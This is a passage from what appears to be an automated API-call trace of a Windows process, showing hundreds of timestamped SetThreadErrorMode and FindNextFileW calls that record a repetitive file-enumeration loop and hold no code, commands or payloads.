ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1dd9e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.594] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.595] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.595] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.595] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.595] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.595] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.595] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.595] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.596] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.596] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.596] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.596] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.596] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.596] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.596] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.599] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.599] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.599] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.599] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.599] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.599] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.599] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.600] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.600] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.600] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.600] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.600] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.600] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.601] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.601] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.601] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.601] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.601] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.601] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.602] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.602] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.602] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.602] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.602] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.602] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.602] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.603] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.641] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.641] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.641] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.642] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.642] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.642] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.642] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.643] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.643] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.643] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.643] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.643] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.644] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.644] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.644] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.644] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.644] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.644] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.644] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.646] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.646] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.646] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.646] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.646] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.646] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.647] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.647] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.647] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.647] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.647] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.647] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.648] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.648] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.648] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.648] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.648] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.648] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x6fe97d8, 